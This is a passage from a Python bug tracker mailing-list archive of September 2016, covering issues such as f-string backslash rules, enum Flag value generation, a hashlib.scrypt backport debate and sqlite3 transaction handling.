This patch implements the new logic. It passes all of the fstring tests (except of course the ones that had backslashes in the expressions). I'd still like to add some more tests, because I'm not convinced the named unicode escapes are correct (f"\N{LEFT CURLY BRACE}". Because I'm now scanning the decoded utf-8 version of the string, I need to be aware of this syntax and not decide it's part of an expression (because of the braces).

----------
keywords: +patch
Added file: http://bugs.python.org/file44438/27948-1.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Wed Sep  7 09:56:20 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 07 Sep 2016 13:56:20 +0000
Subject: [issue27948] f-strings: allow backslashes only in the string parts,
 not in the expression parts
In-Reply-To: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>
Message-ID: <1473256580.37.0.275007804374.issue27948@psf.upfronthosting.co.za>


Changes by Eric V. Smith <eric at trueblade.com>:


----------
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:02:20 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 07 Sep 2016 14:02:20 +0000
Subject: [issue27445] Charset instance not passed to set_payload()
In-Reply-To: <1467493987.65.0.715756200587.issue27445@psf.upfronthosting.co.za>
Message-ID: <1473256940.06.0.432351481017.issue27445@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +berker.peksag
stage:  -> patch review
type:  -> behavior
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27445>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:08:02 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 14:08:02 +0000
Subject: [issue27998] Add support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473257282.71.0.965998018209.issue27998@psf.upfronthosting.co.za>


Steve Dower added the comment:

Heh, totally by accident as well.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:08:38 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 07 Sep 2016 14:08:38 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
Message-ID: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

The documentation at https://docs.python.org/3/reference/simple_stmts.html says that:

"Names listed in a global statement must not be used in the same code block textually preceding that global statement"

But then later:

"CPython implementation detail: The current implementation does not enforce the two restrictions,
but programs should not abuse this freedom, as future implementations may enforce them..."

Code like this

def f():
    x = 1
    global x

gives SyntaxWarning for several releases, maybe it is time to make it a SyntaxError?

----------
assignee: docs at python
components: Documentation, Interpreter Core
messages: 274813
nosy: docs at python, gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Make "global after use" a SyntaxError
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:18:47 2016
From: report at bugs.python.org (David E. Franco G.)
Date: Wed, 07 Sep 2016 14:18:47 +0000
Subject: [issue27989] incomplete signature with help function using typing
In-Reply-To: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>
Message-ID: <1473257927.13.0.313458686726.issue27989@psf.upfronthosting.co.za>


David E. Franco G. added the comment:

as that is the case, how about this as a solution:

def formatannotation(annotation, base_module=None):
    if isinstance(annotation, type):
        if annotation.__module__ in ('builtins', base_module):
            return annotation.__qualname__
        elif annotation.__module__ in ('typing', base_module):       
            return repr(annotation).replace("typing.","")
        return annotation.__module__+'.'+annotation.__qualname__
    return repr(annotation)

the same way that it check for builtins, do it for typing and clean up a little. 

With that change the result with the example is

>>> help(foo)
Help on function foo in module __main__:

foo(data:List[Any]) -> Iterator[Tuple[int, Any]]

>>>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:19:28 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 14:19:28 +0000
Subject: [issue16334] Faster unicode-escape and raw-unicode-escape codecs
In-Reply-To: <1473238262.98.0.659853089361.issue16334@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwY0hRhP_p1nKn_CZePG7E43wK0xSvs_mFKpMdQaRPX4mw@mail.gmail.com>


STINNER Victor added the comment:

Feel free to document the change. It's not my patch, it's yours :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16334>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:22:41 2016
From: report at bugs.python.org (Aymeric Augustin)
Date: Wed, 07 Sep 2016 14:22:41 +0000
Subject: [issue10740] sqlite3 module breaks transactions and potentially
 corrupts data
In-Reply-To: <1292868135.81.0.257293444934.issue10740@psf.upfronthosting.co.za>
Message-ID: <1473258161.61.0.224378159583.issue10740@psf.upfronthosting.co.za>


Aymeric Augustin added the comment:

The latest patch removes the current statement parsing and unexpected implicit commits. It looks good to me.

Unfortunately it also introduces a new kind of statement parsing that detects DDL statements and doesn't open a transaction in that case, while it should. See https://github.com/ghaering/pysqlite/issues/105 for details.

As a consequence, this change will allow Django to remove one of the two special cases for transaction in SQLite:
https://github.com/django/django/blob/master/django/db/transaction.py#L159-L166

but not the other:
https://github.com/django/django/blob/271581df606b307d89c141e8b1a50ace763bea81/django/db/backends/base/base.py#L375-L404

It's still a step forward so I support merging it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10740>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:54:40 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 14:54:40 +0000
Subject: [issue433028] SRE: (?flag:...) is not supported
Message-ID: <1473260080.56.0.0691862517534.issue433028@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Fixed generating info for fast search for groups with local flags and added some documentation (would appreciate for improving it).

----------
priority: low -> normal
versions: +Python 3.6 -Python 3.5
Added file: http://bugs.python.org/file44439/re_scoped_flags_3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue433028>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:58:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 14:58:35 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473260315.27.0.487858194554.issue22493@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:01:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 15:01:19 +0000
Subject: [issue27948] f-strings: allow backslashes only in the string parts,
 not in the expression parts
In-Reply-To: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>
Message-ID: <1473260479.9.0.243316852587.issue27948@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:19:43 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 07 Sep 2016 15:19:43 +0000
Subject: [issue27877] Add recipe for "valueless" Enums to docs
In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za>
Message-ID: <1473261583.01.0.644448592048.issue27877@psf.upfronthosting.co.za>


Ethan Furman added the comment:

New changeset 871bdb06c1cf by Ethan Furman in branch 'default':
add recipes for pseudo-valueless enums
https://hg.python.org/cpython/rev/871bdb06c1cf

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27877>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:21:43 2016
From: report at bugs.python.org (Matthieu S)
Date: Wed, 07 Sep 2016 15:21:43 +0000
Subject: [issue28000] Build fails on AIX with _LINUX_SOURCE_COMPAT flag
Message-ID: <1473261703.53.0.692891859324.issue28000@psf.upfronthosting.co.za>


New submission from Matthieu S:

Python build fails on AIX when using the _LINUX_SOURCE_COMPAT flag.

When using this flag, the gethostbyname_r subroutine has 6 parameters instead of 3, like on Linux, but Modules/socketmodule.c always expects a gethostbyname_r subroutine with only 3 parameters on AIX.

The attached patch allows to build with this flag. It has been tested for Python 3.5.1 and 3.5.2 with GCC and XLC compilers.

----------
components: Extension Modules
files: Python-3.5.1-compat.patch
keywords: patch
messages: 274819
nosy: sarterm
priority: normal
severity: normal
status: open
title: Build fails on AIX with _LINUX_SOURCE_COMPAT flag
type: compile error
versions: Python 3.5
Added file: http://bugs.python.org/file44440/Python-3.5.1-compat.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28000>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:22:25 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Wed, 07 Sep 2016 15:22:25 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473261745.64.0.407638321539.issue27928@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

No, scrypt is a simple new feature.  An extension module on PyPI is the appropriate place for that for 2.6 through 3.5.  Wholly unrelated to PEP466.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:23:34 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 07 Sep 2016 15:23:34 +0000
Subject: [issue27877] Add recipe for "valueless" Enums to docs
In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za>
Message-ID: <1473261814.75.0.0768461919395.issue27877@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Thanks for the patch, John and Emanuel!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27877>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:35:01 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 07 Sep 2016 15:35:01 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473262501.2.0.92740020938.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

I would like to add a function that can be used when creating a Flag (and Enum, but that's less important) that will generate the next value.

This is important because in Flag the values are an important internal detail, but are largely irrelevant to the user (if they weren't then an IntFlag is probably more appropriate).

Actually, this function already exists and is used to supply the values when using the Functional API: _generate_next_value_ .  But that's a bit clunky for use during class definition:

class Color(Flag):
    red = _generate_next_value_()
    blue = _generate_next_value_()
    green = _generate_next_value_()

What would be a better name for class use?

- _next_value_
- _value_
- _flag_
- _next_flag_

Any others?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:47:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 15:47:45 +0000
Subject: [issue27968] test_coroutines generates some warnings
In-Reply-To: <1473143351.91.0.450663771383.issue27968@psf.upfronthosting.co.za>
Message-ID: <20160907154742.779.3563.593BEF45@psf.io>


Roundup Robot added the comment:

New changeset 234f758449f8 by Benjamin Peterson in branch '3.5':
supress coroutine warning when an exception is pending (#27968)
https://hg.python.org/cpython/rev/234f758449f8

New changeset f48b00b1ec4f by Benjamin Peterson in branch 'default':
merge 3.5 (#27968)
https://hg.python.org/cpython/rev/f48b00b1ec4f

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:49:44 2016
From: report at bugs.python.org (Alex Gaynor)
Date: Wed, 07 Sep 2016 15:49:44 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473263384.86.0.215078534782.issue27928@psf.upfronthosting.co.za>


Alex Gaynor added the comment:

PEP466 includes hashlib.pbkdf2_hmac(). Any reasoning that includes that surely is applicable to scrypt as well.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:00:25 2016
From: report at bugs.python.org (Eric N. Vander Weele)
Date: Wed, 07 Sep 2016 16:00:25 +0000
Subject: [issue28000] Build fails on AIX with _LINUX_SOURCE_COMPAT flag
In-Reply-To: <1473261703.53.0.692891859324.issue28000@psf.upfronthosting.co.za>
Message-ID: <1473264025.23.0.592133759045.issue28000@psf.upfronthosting.co.za>


Changes by Eric N. Vander Weele <ericvw at gmail.com>:


----------
nosy: +ericvw

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28000>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:01:08 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 16:01:08 +0000
Subject: [issue27968] test_coroutines generates some warnings
In-Reply-To: <1473143351.91.0.450663771383.issue27968@psf.upfronthosting.co.za>
Message-ID: <20160907160104.78508.27376.7ACF0A12@psf.io>


Roundup Robot added the comment:

New changeset 096dfac57e44 by Benjamin Peterson in branch '3.5':
capture stderr to silence output during test_coroutines (closes #27968)
https://hg.python.org/cpython/rev/096dfac57e44

New changeset b43923ce86f0 by Benjamin Peterson in branch 'default':
merge 3.5 (closes #27968)
https://hg.python.org/cpython/rev/b43923ce86f0

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:02:04 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 16:02:04 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473264124.06.0.550326842721.issue23591@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy:  -haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:04:24 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Wed, 07 Sep 2016 16:04:24 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473264264.89.0.847061302239.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

I think we had that discussion in the other thread, and concluded that auto() (or _auto_() if you insist) is quite fine. I think it's important to emphasize it's automatically generated, not that it's really "next" in any particular order.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:22:38 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 16:22:38 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473265358.83.0.358724897584.issue27137@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I think we can change C implementation of __repr__ to match straightforward Python implementation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:23:22 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 07 Sep 2016 16:23:22 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473265402.2.0.894427286959.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

I like it!  (Although I have no idea which other thread you are talking about.)

And yes, it needs the leading and trailing underscore so as not to clash with member names.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:27:24 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 07 Sep 2016 16:27:24 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1351796179.35.0.165892579115.issue16384@psf.upfronthosting.co.za>
Message-ID: <1473265644.84.0.115931784249.issue16384@psf.upfronthosting.co.za>


Brett Cannon added the comment:

It's a question of whether you want the error that your .pyc files have somehow ended up in a bad state to pass silently or you should know you that something on your system is corrupting .pyc files (hence why the EOFError has been allowed to propagate).

Making corrupt .pyc files pass silently would be a change in semantics and practice, so we need to think through the ramifications. At worst we would need to raise a warning that such a thing happened, if not keep the current semantics.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:28:56 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 07 Sep 2016 16:28:56 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1473243919.01.0.488242018304.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473265733.840753.718597761.0A18DEE0@webmail.messagingengine.com>


Benjamin Peterson added the comment:

Why are we adding scrypt and not argon2 anyway?

On Wed, Sep 7, 2016, at 03:25, Christian Heimes wrote:
> 
> Christian Heimes added the comment:
> 
> Benjamin, what's your take on Alex's suggestion?
> 
> <Crys> gutworth: Alex_Gaynor has asked me if hashlib.scrypt() can go into
> 2.7, too. It's a password-based KDF like hashlib.pbkdf2() but more secure
> than PBKDF2. It requires OpenSSL 1.1.0.
> <Alex_Gaynor> gutworth: I think it'd be good if this were approved, for
> the same reasons as PEP466
> <Crys> contrary to PKBDF2 it doesn't make sense to have a pure-Python
> implementation. scrypt uses ChaCha20 cipher. I don't want to add a cipher
> to CPython core (possible legal issue) and it's not available in OpenSSL
> < 1.1.0.
> 
> ----------
> nosy: +benjamin.peterson
> versions: +Python 2.7
> 
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27928>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:29:00 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 16:29:00 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473265740.79.0.0299541896505.issue27938@psf.upfronthosting.co.za>


Steve Dower added the comment:

The Windows buildbot failures are partly my fault and partly Ben's fault (I created a new error message - Ben added it to the wrong test), so I'll go and prevent the error message.

No idea on the other issue. It doesn't repro for me, but since it seems to be FreeBSD readline related that isn't a surprise.

----------
nosy: +steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:33:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 16:33:27 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <20160907163202.14667.52608.BE57B33C@psf.io>


Roundup Robot added the comment:

New changeset 47b4dbd451f5 by Steve Dower in branch 'default':
Issue #27959: Prevent ImportError from escaping codec search function
https://hg.python.org/cpython/rev/47b4dbd451f5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:44:00 2016
From: report at bugs.python.org (Ned Deily)
Date: Wed, 07 Sep 2016 16:44:00 +0000
Subject: [issue27966] PEP-397 documents incorrect registry path
In-Reply-To: <1473140711.09.0.302739386387.issue27966@psf.upfronthosting.co.za>
Message-ID: <1473266640.92.0.848714150095.issue27966@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
components: +Windows -Documentation
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27966>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:44:08 2016
From: report at bugs.python.org (Alex Gaynor)
Date: Wed, 07 Sep 2016 16:44:08 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1473265733.840753.718597761.0A18DEE0@webmail.messagingengine.com>
Message-ID: <CAFRnB2UoFybALX=M47NeA_-sPsH0iCZQadYasvYo_UZ+p2xzqQ@mail.gmail.com>


Alex Gaynor added the comment:

OpenSSL supports scrypt

On Sep 7, 2016 12:28 PM, "Benjamin Peterson" <report at bugs.python.org> wrote:

>
> Benjamin Peterson added the comment:
>
> Why are we adding scrypt and not argon2 anyway?
>
> On Wed, Sep 7, 2016, at 03:25, Christian Heimes wrote:
> >
> > Christian Heimes added the comment:
> >
> > Benjamin, what's your take on Alex's suggestion?
> >
> > <Crys> gutworth: Alex_Gaynor has asked me if hashlib.scrypt() can go into
> > 2.7, too. It's a password-based KDF like hashlib.pbkdf2() but more secure
> > than PBKDF2. It requires OpenSSL 1.1.0.
> > <Alex_Gaynor> gutworth: I think it'd be good if this were approved, for
> > the same reasons as PEP466
> > <Crys> contrary to PKBDF2 it doesn't make sense to have a pure-Python
> > implementation. scrypt uses ChaCha20 cipher. I don't want to add a cipher
> > to CPython core (possible legal issue) and it's not available in OpenSSL
> > < 1.1.0.
> >
> > ----------
> > nosy: +benjamin.peterson
> > versions: +Python 2.7
> >
> > _______________________________________
> > Python tracker <report at bugs.python.org>
> > <http://bugs.python.org/issue27928>
> > _______________________________________
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27928>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:46:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 16:46:48 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473266808.94.0.706852288445.issue27938@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> FAIL: test_create_at_shutdown_without_encoding (test.test_io.PyTextIOWrapperTest)

Steve fixed it:
---
changeset:   103229:47b4dbd451f5
tag:         tip
user:        Steve Dower <steve.dower at microsoft.com>
date:        Wed Sep 07 09:31:52 2016 -0700
files:       Lib/encodings/__init__.py Lib/test/test_io.py
description:
Issue #27959: Prevent ImportError from escaping codec search function
---

Its new search function now catchs ImportError as expected.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:51:01 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 16:51:01 +0000
Subject: [issue27968] test_coroutines generates some warnings
In-Reply-To: <20160907160104.78508.27376.7ACF0A12@psf.io>
Message-ID: <CAP7+vJJNxxoT7G-kBXFcPYm1DKt7+-rFyGR+TM3qC_RiQEAR0A@mail.gmail.com>


Guido van Rossum added the comment:

Thanks Benjamin!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:58:56 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 16:58:56 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>
Message-ID: <1473267536.65.0.718077849111.issue27999@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I like fixing this. I suppose it'll be fixed for nonlocal too?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:59:06 2016
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 07 Sep 2016 16:59:06 +0000
Subject: [issue28001] test.support.open_urlresource should work from an
 installed Python
Message-ID: <1473267546.3.0.996617226818.issue28001@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
nosy: christian.heimes, r.david.murray, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: test.support.open_urlresource should work from an installed Python
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28001>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:01:25 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 17:01:25 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473267685.8.0.040115926024.issue27364@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

+1 on getting this in. Who can help reviewing and merging before beta 1?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:01:57 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 07 Sep 2016 17:01:57 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <CAFRnB2UoFybALX=M47NeA_-sPsH0iCZQadYasvYo_UZ+p2xzqQ@mail.gmail.com>
Message-ID: <1473267714.850188.718635721.06CE91FF@webmail.messagingengine.com>


Benjamin Peterson added the comment:

PEP 466 is explicitly not blanket approval for backporting All The
Things to 2.7. The only justification for pbkdf2 in PEP 466 is to "lower
the barriers to secure password storage and checking in Python 2 server
applications". While scrypt is probably a bit better, applications using
pkbdf2 are still in a much better situation than ones using, e.g., a
na?ve salted hash.

There is a self-contained, easily-installable scrypt module on PyPI.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:07:26 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 07 Sep 2016 17:07:26 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <1473268046.26.0.842899576741.issue27921@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

The problem with test_unparse is that:
f'''{"'"}'''
becomes:
f'{"\'"}'
when it's run through Tools/parser/unparse.py.

I'll open another issue for this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:09:34 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 17:09:34 +0000
Subject: [issue22233] http.client splits headers on non-\r\n characters
In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za>
Message-ID: <1473268174.89.0.0390274497334.issue22233@psf.upfronthosting.co.za>


R. David Murray added the comment:

This looks good to me.  However, although it is by no means obvious, the tests in test_parser are supposed to be for the new policies.  When I changed the test to test them another place that needed to fixed was revealed.  I've updated the patch accordingly.

----------
Added file: http://bugs.python.org/file44441/crlf-headers2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22233>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:18:18 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 07 Sep 2016 17:18:18 +0000
Subject: [issue28002] f-strings do not round trip through
 Tools/parser/test_unparse.py
Message-ID: <1473268698.62.0.800338957351.issue28002@psf.upfronthosting.co.za>


New submission from Eric V. Smith:

The problem relates to how f-strings are re-created.

For the input file foo.txt containing this one line:
f'''{"'"}'''

Run:
./python Tools/parser/test_unparse.py foo.txt

Gives this output:
f'{"\'"}'

This result is not a valid f-string, since it contains a backslash inside the expression part of the f-string.

The input string is a valid f-string:
>>> f'''{"'"}'''
"'"

----------
components: Demos and Tools
messages: 274841
nosy: eric.smith
priority: low
severity: normal
status: open
title: f-strings do not round trip through Tools/parser/test_unparse.py
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28002>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:18:43 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 07 Sep 2016 17:18:43 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473268723.52.0.902816696268.issue25856@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

I don't understand this code:
   type->tp_dict && PyDict_Check(type->tp_dict)
since the code explicitly assume it's not NULL and access it as a dict earlier in the function

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:19:58 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 07 Sep 2016 17:19:58 +0000
